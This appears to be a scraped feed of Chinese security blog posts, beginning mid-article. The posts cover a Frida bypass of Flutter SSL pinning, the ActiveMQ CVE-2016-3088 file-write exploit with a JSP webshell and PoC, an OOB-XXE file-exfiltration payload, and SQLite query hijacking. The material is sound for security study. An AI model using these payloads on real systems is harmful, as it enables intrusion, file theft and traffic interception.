    setState(() {
      if(client != null)
      {
          client
              .getUrl(Uri.parse('http://www.nviso.eu')) // produces a request object
              .then((request) =&gt; request.close()) // sends the request
              .then((response) =&gt; print("SUCCESS - " + response.headers.value("date")));
          _counter++;
       }
    });
  }

該應用程序可以使用flutter build aot進行編譯,并通過adb install推送到設備。

每次按此按鈕時,都會向http://www.nviso.eu發送一個調用,如果成功,則會將其打印到設備日志中。

在我的設備上,我通過Magisk-Frida-Server安裝了Frida,我的Burp證書通過MagiskTrustUserCerts模塊添加到系統CA存儲中。但不幸的是,Burp上并沒有看到有任何流量通過,即使應用程序日志顯示請求成功。

通過 ProxyDroid/iptables 向代理發送流量

HttpClient有一個findProxy方法,其文檔寫的非常清楚:默認情況下,所有流量都直接發送到目標服務器,而不考慮任何代理設置:

設置用于解析代理服務器的功能,該代理服務器用于打開指定URL的HTTP連接。如果未設置此功能,則將始終使用直接連接。

– findProxy文檔

應用程序可以將此屬性設置為HttpClient.findProxyFromEnvironment,它會搜索特定的環境變量,例如http_proxy和https_proxy。即使應用程序是用這個實現編譯的,但在Android上它也將毫無用處,因為所有應用程序都是初始zygote進程的子進程,因此沒有這些環境變量。

也可以定義一個返回首選代理的自定義findProxy實現。對我的測試應用程序進行的快速修改確實表明,此配置將所有HTTP數據發送到了我的代理服務器:

client.findProxy = (uri) {        
    return "PROXY 10.153.103.222:8888";     
};

當然,我們無法在黑盒評估期間修改應用程序,因此需要另一種方法。幸運的是,我們總是有iptables fallback來將所有流量從設備路由到我們的代理。在已root的設備上,ProxyDroid可以很好地處理這個問題,我們可以看到所有HTTP流量都流經了Burp。

攔截 HTTPS 流量

這是個更加棘手的問題。如果我將URL更改為HTTPS,會導致Burp SSL握手失敗。這很奇怪,因為我的設備被設置為將我的Burp證書包含為受信任的根證書。

經過一些研究,最終我在一個GitHub issue中找到了有關Windows上問題的解釋,但它同樣也適用于Android: Dart使用Mozilla的NSS庫生成并編譯自己的Keystore。

這意味著我們不能通過將代理CA添加到系統CA存儲來繞過SSL驗證。為了解決這個問題,我們必須深入研究libflutter.so,并找出我們需要修補或hook的,以驗證我們的證書。Dart使用Google的BoringSSL來處理與SSL相關的所有內容,幸運的是Dart和BoringSSL都是開源的。

當向Burp發送HTTPS流量時,Flutter應用程序實際上會拋出一個錯誤,我們可以將其作為起點:

E/flutter (10371): [ERROR:flutter/runtime/dart_isolate.cc(805)] Unhandled exception:
 E/flutter (10371): HandshakeException: Handshake error in client (OS Error: 
 E/flutter (10371):  NO_START_LINE(pem_lib.c:631)
 E/flutter (10371):  PEM routines(by_file.c:146)
 E/flutter (10371):  NO_START_LINE(pem_lib.c:631)
 E/flutter (10371):  PEM routines(by_file.c:146)
 E/flutter (10371):  CERTIFICATE_VERIFY_FAILED: self signed certificate in certificate chain(handshake.cc:352))
 E/flutter (10371): #0      _rootHandleUncaughtError. (dart:async/zone.dart:1112:29)
 E/flutter (10371): #1      _microtaskLoop (dart:async/schedule_microtask.dart:41:21)
 E/flutter (10371): #2      _startMicrotaskLoop (dart:async/schedule_microtask.dart:50:5)
 E/flutter (10371): #3      _runPendingImmediateCallback (dart:isolate-patch/isolate_patch.dart:116:13)
 E/flutter (10371): #4      _RawReceivePortImpl._handleMessage (dart:isolate-patch/isolate_patch.dart:173:5)

我們需要做的第一件事是在BoringSSL庫中找到這個錯誤。該錯誤實際上已向我們顯示了觸發錯誤的位置:handshake.cc:352。Handshake.cc確實是BoringSSL庫的一部分,并且包含了執行證書驗證的邏輯。第352行的代碼如下所示,這很可能就是我們看到的錯誤。行數并不完全匹配,但這很可能是版本差異的結果。

if (ret == ssl_verify_invalid) {
    OPENSSL_PUT_ERROR(SSL, SSL_R_CERTIFICATE_VERIFY_FAILED);
    ssl_send_alert(ssl, SSL3_AL_FATAL, alert);
  }

這是ssl_verify_peer_cert函數的一部分,該函數返回ssl_verify_result_t枚舉,它在第2290行的ssl.h中被定義:

enum ssl_verify_result_t BORINGSSL_ENUM_INT {
  ssl_verify_ok,
  ssl_verify_invalid,
  ssl_verify_retry,
};

如果我們可以將ssl_verify_peer_cert的返回值更改為ssl_verify_ok (=0),那么我們就可以繼續了。然而,在這個方法中有很多事情正在發生,Frida只能更改函數的返回值。如果我們更改這個值,它仍會因為上面的ssl_send_alert()函數調用而失敗(相信我,我試過)。

讓我們找一個更好的hook的方法。handshake.cc的代碼段正上方是以下代碼,這是驗證鏈的方法的實際部分:

ret = ssl->ctx->x509_method->session_verify_cert_chain(
              hs->new_session.get(), hs, &alert)
              ? ssl_verify_ok
              : ssl_verify_invalid;

session_verify_cert_chain函數在第362行的ssl_x509.cc中被定義。此函數還返回原始數據類型(布爾值),并且是一個更好的hook選項。如果此函數中的檢查失敗,則它僅通過OPENSSL_PUT_ERROR報告問題,但它沒有像ssl_verify_peer_cert函數那樣的問題。OPENSSL_PUT_ERROR是err.h中第418行被定義的宏,其中包含源文件名。這與用于Flutter應用程序的錯誤的宏相同。

#define OPENSSL_PUT_ERROR(library, reason) 
  ERR_put_error(ERR_LIB_##library, 0, reason, __FILE__, __LINE__)

既然我們知道要hook哪個函數了,現在我們要做的就是在libflutter.so中找到它。在session_verify_cert_chain函數中多次調用OPENSSL_PUT_ERROR宏,這樣可以使用Ghidra輕松的找到正確的方法。因此,將庫導入Ghidra,使用Search -> Find Strings并搜索x509.cc。

這里只有4個XREF,因此很容易找到一個看起來像session_verify_cert_chain的函數:

其中一個函數取2個整數,1個“undefined未定義”,并且包含一個對OPENSSL_PUT_ERROR(FUN_00316500)的單獨調用。在我的libflutter.so版本中為FUN_0034b330。現在你要做的是從一個導出函數計算該函數的偏移量并將其hook。我通常會采用一種懶惰的方法,復制函數的前10個字節,并檢查該模式出現的頻率。如果它只出現一次,我就知道我找到了這個函數,并且我可以hook它。這很有用,因為我經常可以為庫的不同版本使用相同的腳本。使用基于偏移的方法,這更加困難。這很有用,因為我可以經常對不同版本的庫使用相同的腳本。對于基于偏移量的方法,更加困難。

所以,現在我們讓Frida在libflutter.so庫中搜索這個模式:

var m = Process.findModuleByName("libflutter.so"); 
var pattern = "2d e9 f0 4f a3 b0 82 46 50 20 10 70"
var res = Memory.scan(m.base, m.size, pattern, {
  onMatch: function(address, size){
      console.log('[+] ssl_verify_result found at: ' + address.toString());  
    }, 
  onError: function(reason){
      console.log('[!] There was an error scanning memory');
    },
    onComplete: function()
{
      console.log("All done")
    }
  });

在我的Flutter應用程序上運行此腳本的結果如下:

(env) ~/D/Temp ? frida -U -f be.nviso.flutter_app -l frida.js --no-pause
[LGE Nexus 5::be.nviso.flutter_app]-> [+] ssl_verify_result found at: 0x9a7f7040
All done

現在,我們只需使用Interceptor將返回值更改為1 (true):

function hook_ssl_verify_result(address)
{
  Interceptor.attach(address, {
    onEnter: function(args) {
      console.log("Disabling SSL validation")
    },
    onLeave: function(retval)
{
      console.log("Retval: " + retval)
      retval.replace(0x1);

    }
  });
}
function disablePinning()
{
 var m = Process.findModuleByName("libflutter.so"); 
 var pattern = "2d e9 f0 4f a3 b0 82 46 50 20 10 70"
 var res = Memory.scan(m.base, m.size, pattern, {
  onMatch: function(address, size){
      console.log('[+] ssl_verify_result found at: ' + address.toString());

      // Add 0x01 because it's a THUMB function
      // Otherwise, we would get 'Error: unable to intercept function at 0x9906f8ac; please file a bug'
      hook_ssl_verify_result(address.add(0x01));

    }, 
  onError: function(reason){
      console.log('[!] There was an error scanning memory');
    },
    onComplete: function()
{
      console.log("All done")
    }
  });
}
setTimeout(disablePinning, 1000)

設置proxydroid并使用此腳本啟動應用程序后,現在我們可以看到HTTP流量了:

我已經在一些Flutter應用程序上對此進行了測試,這種方法適用于所有應用程序。由于BoringSSL庫較為穩定,因此這種方法可能會在未來很長一段時間內都有效。

禁用 SSL Pinning(SecurityContext)

最后,讓我們看看如何繞過SSL Pinning。一種方法是定義一個包含特定證書的新SecurityContext。

對于我的應用程序,我添加了以下代碼讓它只接受我的Burp證書。SecurityContext構造函數接受一個參數withTrustedRoots,默認為false。

ByteData data = await rootBundle.load('certs/burp.crt');
    SecurityContext context = new SecurityContext();
    context.setTrustedCertificatesBytes(data.buffer.asUint8List());
    client = HttpClient(context: context);

應用程序現在將自動接受我們的Burp代理作為任意網站的證書。如果我們現在將其切換到nviso.eu證書,我們將無法攔截連接(請求和響應)。

幸運的是,上面列出的Frida腳本已經繞過了這種root-ca-pinning實現,因為底層邏輯仍然依賴于BoringSSL庫的相同方法。

禁用 SSL Pinning(ssl_pinning_plugin)

Flutter開發人員執行ssl pinning的方法之一是通過 ssl_pinning_plugin flutter插件。此插件實際上是發送一個HTTPS連接并驗證證書,之后開發人員將信任該通信并執行non-pinned HTTPS請求:

void testPin() async
  {
    List<String&gt; hashes = new List<String&gt;();
    hashes.add("randomhash");
    try
    {
      await SslPinningPlugin.check(serverURL: "https://www.nviso.eu", headerHttp : new Map(), sha: SHA.SHA1, allowedSHAFingerprints: hashes, timeout : 50);

      doImportanStuff()
    }catch(e)
    {
      abortWithError(e);
    }
  }

該插件是Java實現的,我們可以使用Frida輕松的hook:

function disablePinning()
{
    var SslPinningPlugin = Java.use("com.macif.plugin.sslpinningplugin.SslPinningPlugin");
    SslPinningPlugin.checkConnexion.implementation = function()
{
        console.log("Disabled SslPinningPlugin");
        return true;
    }
}

Java.perform(disablePinning)

結論

這是一個非常有趣的過程,因為Dart和BoringSSL都是開源的,所以進行的非常順利。由于字符串的數量并不多,因此即使沒有任何符號,也能很容易的找到禁用ssl驗證邏輯的正確位置。我掃描函數序言(function prologue)的方法可能并不總是有效,但由于BoringSSL非常穩定,因此在未來的一段時間內它應該都會有效。

【via@FreeBuf.COM

]]>
Vulhub漏洞系列:ActiveMQ任意文件寫入漏洞分析 http://www.zzxjjy.com/17920.html Sat, 19 Oct 2019 09:48:13 +0000 http://www.zzxjjy.com/?p=17920 一、ActiveMQ簡介:

Apache ActiveMQ是Apache軟件基金會所研發的開放源代碼消息中間件;由于ActiveMQ是一個純Java程序,因此只需要操作系統支持Java虛擬機,ActiveMQ便可執行。

二、漏洞描述:

本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。

ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷,但后來發現:

1.其使用率并不高

2.文件操作容易出現漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應用。在測試過程中,可以關注ActiveMQ的版本,避免走彎路。

三、漏洞原理:

下載源碼進行分析,可以看到ActiveMQ 中的 FileServer 服務允許用戶通過 HTTP PUT 方法上傳文件到指定目錄,可以看到第二處的if相當于沒有對用戶身份進行校驗。

PUT方法調用如下函數之后,上傳到的目錄是在${activemq.home}/webapps/fileserver下,源代碼部分如下圖:

接下來看MOVE方法的源代碼中并沒有對移動的路徑進行限制

四、漏洞利用:

文件寫入有幾種利用方法:我們這里演示上傳webshell

1.寫入webshell

2.寫入cron或ssh key等文件

3.寫入jar或jetty.xml等庫和配置文件

webshell代碼

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

我們利用put方法進行任意文件的上傳

接下來我們訪問上傳文件查看是否上傳成功。

由于上傳的是文本文件并不能被服務器解析,所以我們下一步要利用MOVE方法將上傳的webshell移動到可以執行的目錄并更改后綴為jsp。

可以解析jsp文件的路徑有:

1./opt/activemq/webapps/api

2./opt/activemq/webapps/admin

這里有一個坑,困惑了我很久,我的方法步驟都沒有問題為什么MOVE方法會一直響應超時并且得不到任何響應的內容。嘗試了很久,我一度懷疑我的vulhub環境有問題,一次偶然中我用burp抓到的包去修改執行MOVE方法很快就得到了響應結果,神奇的是把這個數據包重新復制到repeater執行再次出現響應超時的結果,明明是兩個相同的數據包,真是令人費解,我只能歸結于MOVE方法在這里不太穩(ps:這是我從別的文章看到的)。

這個就是MOVE成功之后得到的響應內容。

接著我們訪問移動后的目錄看看結果。但是這里就出現了一個很雞肋的地方,就是要想訪問到我們的webshell必須是登錄之后才可以,因為/api,/admin這兩個路徑必須是登錄后才可以訪問但是move移動到這兩個路徑是不需要登錄的,好吧,我們輸入默認的弱口令admin/admin,登錄后看到了我們心心念念的webshell。

拿到了webshell,雖然它很雞肋但我們仍然要堅強的執行幾條命令去宣告我們的戰果。

我們簡單說一下其他的利用方法,寫入crontab,自動化彈shell,這是一個比較穩健的方法。首先上傳cron配置文件(注意,換行一定要n,不能是rn,否則crontab執行會失敗),接下來將其移動到/etc/cron.d/root,如果上述兩個請求都返回204了,說明寫入成功。等待反彈shell,這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件。理論上我們可以覆蓋jetty.xml,將admin和api的登錄限制去掉,然后再寫入webshell。有的情況下,jetty.xml和jar的所有人是web容器的用戶,所以相比起來,寫入crontab成功率更高一點。尚未測試。

五、Poc編寫:

這一部分我們根據漏洞的原理,既然MOVE方法不穩定那么就去驗證PUT是否可以執行成功,我在poc編寫部分用到了Pocsuite。

代碼如下:

from pocsuite.net import req
from pocsuite.poc import POCBase,Output
from pocsuite.utils import register

class ActiveMQPoc(POCBase):  # 類名不用擔心重復
    vulID = '002'  # ssvid
    version = '1.0'
    author = ['xssle']
    vulDate = '2019-09-07'
    createDate = '2019-09-07'
    updateDate = '2019-09-07'
    references = ['https://www.secpulse.com/archives/60064.html']
    name = 'Apache ActiveMQ 任意文件寫入漏洞 (CVE-2016-3088)'
    appPowerLink = 'activemq.apache.org'
    appName = 'Apache activemq'
    appVersion = '版本小于 Apache ActiveMQ 5.14.0'
    vulType = 'Arbitrary File Reading'
    desc = '''
        本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp),
        同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。
    '''
    pocDesc = '''
        pocsuite -r ***.py -u target --verify"
    '''
    samples = []
    install_requires = ['']

    def _verify(self):
        result = {}
        path = "fileserver/poc.txt"
        url = self.url + '/' + path
        header = {
            "Accept": "*/*",
            "Accept-Language": "en",
            "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
            "Connection":"close",
            "Content-Length":"120976"
        }
        try:
            resp = req.put(url,header)
            resp1 = req.get(url,header)
            if resp.status_code == 204 and str(resp1.status_code)[0] in ('2','3') :
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
        except Exception as ex:
            pass

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _attack(self):
        return self._verify()

register(ActiveMQPoc)

代碼執行效果如下:

最后附上pocsuite官網地址:http://pocsuite.org/

如果可以的話我想把這個寫成系列文章,希望大家鼓勵。

【via@FreeBuf.COM

]]>
繞過WAF限制利用php:方法實現OOB-XXE漏洞利用 http://www.zzxjjy.com/17904.html Sun, 08 Sep 2019 14:00:03 +0000 http://www.zzxjjy.com/?p=17904 幾個星期以前,作者在某個OOB-XXE漏洞測試中遇到過這樣一種場景:目標應用后端系統WAF防火墻阻擋了包含DNS解析在內的所有出站請求(Outgoing Request),但最終,通過利用php://filter//的封裝協議,作者成功實現了OOB-XXE漏洞測試。以下是其分享:

在對目標應用的測試分析時,我偶然發現了其中一個路徑調用了一個名為xml的參數,但其對應的XML數據值是加密的。之后,我發現該xml參數的XML數據在發送到HTTP請求前僅在客戶端實行了加密,也就是說,其應用后端可能未設置對這些XML數據進行必要驗證的措施,這樣,我就想到能否修改這些XML數據以便注入XXE Payload。

接下來,首先我要找到加密XML數據的JavaScript函數,但卻發現目標應用的JavaScript全被靜態模塊打包器WebPack打包且非常不具可讀性和跟蹤分析性。所以,要找到JavaScript加密函數是件麻煩事,之后,我想到了在Chrome瀏覽器工具中設置斷點,在XML數據發送到JavaScript加密函數前對它進行修改。

這樣一來,我就可以在其中加入外部實體(external entity)進行XML數據構造了,但當我把構造好的XML Payload發送后,目標應用好長時間才有響應”Error while parsing XML”。但當我把其中的外部實體(external entity)修改為 [http://localhost/](http://localhost/) 后,目標應用卻能及時無誤的響應。這種情況,我認為目標應用環境中可能部署有WAF防火墻,它會把一些出站請求拒絕掉。之后,我又嘗試了端口和DNS解析請求,但都沒成功。

也就是說,現在我面前存在一個XXE漏洞,但是卻無能為力。一般來說可能通過探測目標應用內網環境中開放的端口來實現XXE利用,但其WAF防火墻卻阻擋了所有出站請求。由于其WAF防火墻未阻止本機用為外部實體,所以,我想找到目標應用公開具備的,不需cookie驗證且使用GET參數的路徑來實現對某些數據的更改或添加。而這也和目標應用的工作機制非常相符,因為它好多路徑并未采用cookie驗證和用戶ID參數的形式來驗證身份。

考慮到這一點,我就開始認真分析查找,最后聚集于一個路徑http://target/endpoint.php?sid=[session_id]&key=xxe&val=test,它會調用三個參數:sid、key和val,并把key和val保存到相應的會話ID賬戶中,而且我們通過訪問該路徑就可以獲取這三個參數值。

所以,現在我就想構造一個向路徑http://target/endpoint.php?sid=[session_id]&key=xxe&val=test發送GET請求的外部實體,之后看看該路徑下的xxe和test值是否已經會發生添加更改,因此,我構造的XXE Payload如下,并把它執行了發送:

<!DOCTYPE?foo?[

<!ELEMENT?foo?ANY?>

<!ENTITY?xxe?SYSTEM?“http://target/endpoint.php?sid=[session_id]&key=xxe&val=test”>

]>

<paramlimits>

<component?name=”L1″?min=”2″?max=”100″>&xxe;</component>

? ? </paramlimits>

之后,當我來到 http://target/endpoint.php?sid=[session_id] 下,我發現sid值已經被添加更改,也就是說,目標應用服務器能正常獲取上述實體,并會向提供的路徑發送GET請求。如下:

現在思路就慢慢清晰了,至少可以證明其XXE漏洞是存在的,我想深入利用看看能否可讀取到目標應用的一些本地文件。要讀取本地文件,我們需要創建一個獲取文件的參數實體,以及另一個調用該參數實體的實體,為此,我用到了外部文檔類型定義(DTD)文件的調用,但問題還是一樣,被WAF防火墻阻擋了出站的調用請求,部署在我服務器上的DTD文件不能被正常調用。

這樣來說,還是防火墻在作怪,如何來繞過它呢?我想能否存在一種允許文件上傳的路徑,這樣我就能上傳我的構造DTD文件,但是,目標應用卻根本沒任何文件上傳功能。一番倒騰之后,我差點放棄了,但是我想到目標應用是PHP架構的,那我想應該可以用php://封裝協議的封裝器去獲取 data:// URI中的資源吧,這樣不就能調用到我的DTD文件了嗎?

所以,可以定義這樣一種參數實體:

<!ENTITY?%?data?SYSTEM?“php://filter/convert.base64-encode/resource=file:///D:/path/index.php”>

? ? <!ENTITY % param1 ‘<!ENTITY exfil SYSTEM “http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;”>’>

然后把上述參數實體經base64編碼后,利用php://封裝協議來請求它,如下:

php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+

當目標應用的XML解析器執行解析時,它會執行以下兩個路徑的實體解析:

php://filter/convert.base64-encode/resource=file:///D:/path/index.php????????????????http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;

其中的convert.base64-encode是為了能對 index.php 文件內容更方便的獲取。所以最終的XXE Payload為:

<!DOCTYPE?r?[

<!ELEMENT?r?ANY?>

<!ENTITY?%?sp?SYSTEM?“php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+”>?%sp;?%param1;

]>

<paramlimits>

<component?name=”L1″?min=”2″?max=”100″>&exfil;</component>

? ? </paramlimits>

提交發送之后,來到目標路徑http://target/endpoint.php?sid=[session_id]下,可以發現經base64編碼的index.php文件內容被成功獲取:

當然,深入利用之后就能用這種方法來讀取一些敏感的本地文件了。

【via@FreeBuf.COM

]]>
SQLite攻擊 – iOS持久化控制實現 http://www.zzxjjy.com/17855.html Sun, 08 Sep 2019 13:07:54 +0000 http://www.zzxjjy.com/?p=17855
SQLite是世界上部署最多的軟件之一。但是,SQLite的安全相關測試,目前涉及的基本是網頁應用環境及本地瀏覽器環境。然而上述SQLite的應用場景只是冰山一角,其他大量應用場景及其對應的安全問題同樣值得關注。

在我們的長期研究中,我們嘗試了完全依賴SQL語言環境對內存破壞問題進行利用。使用我們查詢劫持和面向查詢編程的新姿勢,我們實現了在SQLite引擎中可靠地利用內存損壞。下面我們將用幾個真實場景來演示這些技術:用密碼竊取程序攻擊后端服務器、高權限實現iOS持久化控制。

我們希望通過發布研究方法及成果來鼓勵安全研究社區,以便于在各種應用場景中測試SQLite。鑒于SQLite內置于幾乎所有的主流操作系統、桌面系統及移動設備,因此其前景和機會是無限的。此外,本文所提及的許多數據庫原語(primitives)并不是SQLite獨有的,大家可以考慮移植到其他SQL引擎。歡迎大家在自己熟悉的結構化查詢語言中進行新的嘗試和探索。

緣由

這項研究源自于我和@omriher研究一些臭名昭著的密碼竊取程序的部分泄露源碼。雖然有非常多的密碼竊取程序(Azorult,?Loki Bot, 和?Pony?等等),但這些程序的作案手法大致相同:

計算機受到感染,惡意的密碼盜竊軟件要么在憑證使用的時候捕獲憑證,要么就收集各終端上存儲的憑證(存儲在sqlite文件中,客戶端軟件將SQLite數據庫用于憑證存儲的情況并不少見)。

惡意軟件收集到這些SQLite文件后,將它們發送到C2服務器,然后使用PHP進行解析,并將解析出的所有憑證整合到一個集中的數據庫中。

上述攻擊方式是在我們審查這些密碼竊取程序的泄露源碼后推測出的結論。

我們能否利用不可信數據庫的負載和查詢過程來進行反擊呢?如果可以,這將在不計其數的場景中造成重大影響。畢竟官方都宣稱:SQLite是部署最廣泛的軟件之一。

SQLite擁有非常復雜的代碼,幾乎在任何設備上都可以使用。這是我們對于這項研究的動力所在,下面開始切入正題。

SQLite簡介

你此時此刻正在使用SQLite的可能性是很大的,盡管你可能根本沒意識到。

引用作者的話:

“SQLite是一個C語言庫,它實現了一個小型、快速、自包含、高可靠性、功能完整的SQL數據庫引擎。SQLite是世界上使用最多的數據庫引擎。SQLite內置在所有手機和大多數計算機中,并且人們日常使用的很多軟件中還獨立攜帶了SQLite。”

與大多數其他SQL數據庫不同,SQLite沒有單獨的服務進程。SQLite直接對普通磁盤文件進行讀寫操作。一個單獨的文件就可以包括一個完整的,包含多個表,索引和視圖的SQL數據庫。

?攻擊面?

以下代碼片段是密碼竊取程序后端的常見示例:

鑒于我們可以控制數據庫及其內容,因此可以將可用攻擊面分為兩個部分:數據庫的加載和初始解析,以及對其執行的SELECT查詢。

由sqlite3_open完成的數據庫初始加載其實是一個很受限的攻擊面,它基本上只是為了打開數據庫進行大量程序設置和參數配置。所以我們的主要攻擊面是經過AFL模糊測試的頭部解析部分(https://www.sqlite.org/fileformat.html#the_database_header)。

當我們開始對數據庫進行查詢時,就有點意思了。

引用SQLite作者的話:

“SELECT語句是SQL語言中最復雜的命令。”

雖然我們無法控制查詢本身(因為它在我們的目標中是硬編碼的),但對SELECT過程的研究最終被證明是有助于我們后續利用過程的。

因為SQLite3是一個虛擬數據庫,所以每個SQL語句都需要先使用一個sqlite3_prepare*例程編譯成字節碼程序。

此外,prepare函數會遍歷和展開所有SELECT子查詢,并且驗證所有涉及的對象(比如表或視圖)是否存在并在master schema中進行定位。

?sqlite_master 和 DDL?

每一個SQLite數據庫都有一個sqlite_master表,該表定義了數據庫及其所有對象(如表,視圖和索引等)的schema。

sqlite_master的定義如下:

這其中我們感興趣的是sql字段,這個字段是用于描述對象的DDL(數據定義語言)。

從某種意義上來說,DDL類似于C語言中的頭文件,DDL用于定義數據庫中數據容器的結構,名稱和類型,就像C中頭文件通常定義的是類型定義,結構,類和其他數據結構一樣。

如果我們查看數據庫文件,就會看到這些DDL語句以純文本的形式出現:

在查詢準備過程中,sqlite3LocateTable() 會嘗試尋找定義了被查詢的表的內存結構。

sqlite3locateTable()讀取sqlite_master表中可用的schema,如果是首次執行的話,還會對每個結果進行調用,既驗證DDL語句是否有效,并構建必要的用于描述對象的內部數據結構。

DDL修補

了解上述處理過程之后,我們不禁想問,是否可以簡單的替換掉文件中以純文本形式呈現的DDL?如果我們可以向文件注入自己的SQL,那么便可以影響它的行為了。

根據上面的代碼片段,DDL語句似乎必須以“create”開頭。考慮到這種限制,我們需要評估一下我們的攻擊面。

通過檢查SQLite文檔發現,下圖中的這些對象是我們可以創建的。

CREATE VIEW這個命令給了我們一個有趣的想法。簡單來說,VIEW對象只是一個預包裝的SELECT語句。如果我們可以使用兼容的View來替換目標軟件要使用的Table,那么機會便來了。

?劫持任意查詢?

設想如下場景:

原始數據庫中有一個名叫dummy的表,該表的定義如下:

目標軟件使用如下命令對dummy表進行查詢:

如果我們將dummy制作成VIEW的話,我們便可以劫持這個查詢了:

這個視圖讓我們可以劫持查詢——這就意味著我們可以生成一個完全受我們控制的新查詢。

這種細微的差別極大的擴展了我們的攻擊面。加載程序對頭部的簡單解析及不可控查詢的執行,使得我們可以通過修改DDL來與SQLite解析器的各個部分進行交互并創建包含任意子查詢的視圖。

現在我們已經可以與SQLite解釋器進行交互了,那么我們的下一個問題就是:在SQLite中內建了哪些原語?是否支持任意系統命令執行以及對文件系統的讀寫?

由于我們不是第一批從利用的角度關注到SQLite的人,因此回顧該領域先前的成果還是有意義的。So, 從最基礎的部分開始。

?SQL注入?

作為研究人員,我們甚至很難拼寫沒有“i”(injection,注入)的SQL(由于太常見、太基礎),所以從SQL注入似乎是個比較好的入手點。畢竟我們是想熟悉SQLite提供的內部原語,是否有系統命令,是否可以加載任意庫。

最直接的技巧是添加一個新的數據庫文件并執行如下SQL指令:

我們添加一個新的數據庫,創建一個表并向其插入一行文本。新的數據庫創建一個包含webshell代碼的文件(SQLite中,數據庫直接保持為單文件的)。

PHP解釋器會解析數據庫文件直至遇到PHP起始標簽“<?”。

在密碼竊取的場景中,能夠寫入webshell絕對是一種勝利。但是,還記得嗎?DDL是不能以“ATTACH”開頭的(需要以“Create”開頭)。

另一個相關的選項是load_extension函數。雖然該函數允許我們加載任意的共享對象,但在默認情況下該函數是被禁止的。

?SQLite中的內存損壞?

與其他用C語言編寫的軟件一樣,在評估SQLite安全性時,內存安全問題是必須要考慮的。在Michal Zalewski的博文中(blog post),他描述了如何使用AFL對SQLite進行模糊測試并獲得了意想不到的結果:30分鐘的模糊測試就發現了22個bug。

有趣的是,SQLite從此將AFL列入了其測試套裝中。

從各個方面,內存損壞問題得到了足夠的重視(Richard Hip和他的團隊應該得到極大尊重)。但是,從攻擊者的角度來看,如果沒有合適的框架,這些漏洞還是很難利用的。

現代緩解措施是利用內存損壞問題的主要障礙,攻擊者需要找到更靈活的環境。

相信安全研究社區很快就會找到完美的目標!

?Web SQL?

Web SQL數據庫是一個網頁API,用來將數據存儲到數據庫以便通過JavaScript使用SQl的變體進行查詢。在2010年11月,W3C Web應用程序工作組停用了此規范,理由是缺少除SQLite之外的獨立實現。

目前,Google Chrome,Opera和Safari仍然支持該API,都使用SQLite作為該API的后端。

任意網站通過一些流行的瀏覽器可以寫入SQLite,這個問題引起了安全社區的注意,導致漏洞數量上升。

一些非常著名的瀏覽器中的任意網站都可以訪問SQLite中那些不受信任的輸入,該問題引起了安全社區的注意,隨后漏洞數量開始增長。因為JavaScript解釋器可以利用SQLite中的漏洞來實現瀏覽器攻擊。

幾個令人記憶深刻的研究報告如下:

1、容易實現的目標 (CVE-2015-7036)

  • 不可信信指針取消引用fts3_tokenizer()

2、Chaitin team?在黑帽17會議上演示的?更復雜利用

  • fts3OptimizerFunc()中的類型混淆

3、Exodus對最新麥哲倫漏洞的利用

  • fts3SegReaderNext()中的整數溢出
根據過去的WebSQL研究顯示,名為“FTS”的虛擬表模塊可能是我們的研究目標。

FTS

Full-Text Search(FTS,全文搜索)是一個虛擬表模塊,實現對一組文檔進行文本搜索。

從SQL語句的角度來看,虛擬表對象就跟其他表或視圖一樣。但在內部,對虛擬表的查詢會調用影子表上的回調方法,而不是通常情況下對數據庫文件進行讀寫。

一些如FTS的虛擬表實現會使用真實的數據庫表(非虛擬)來存儲內容。

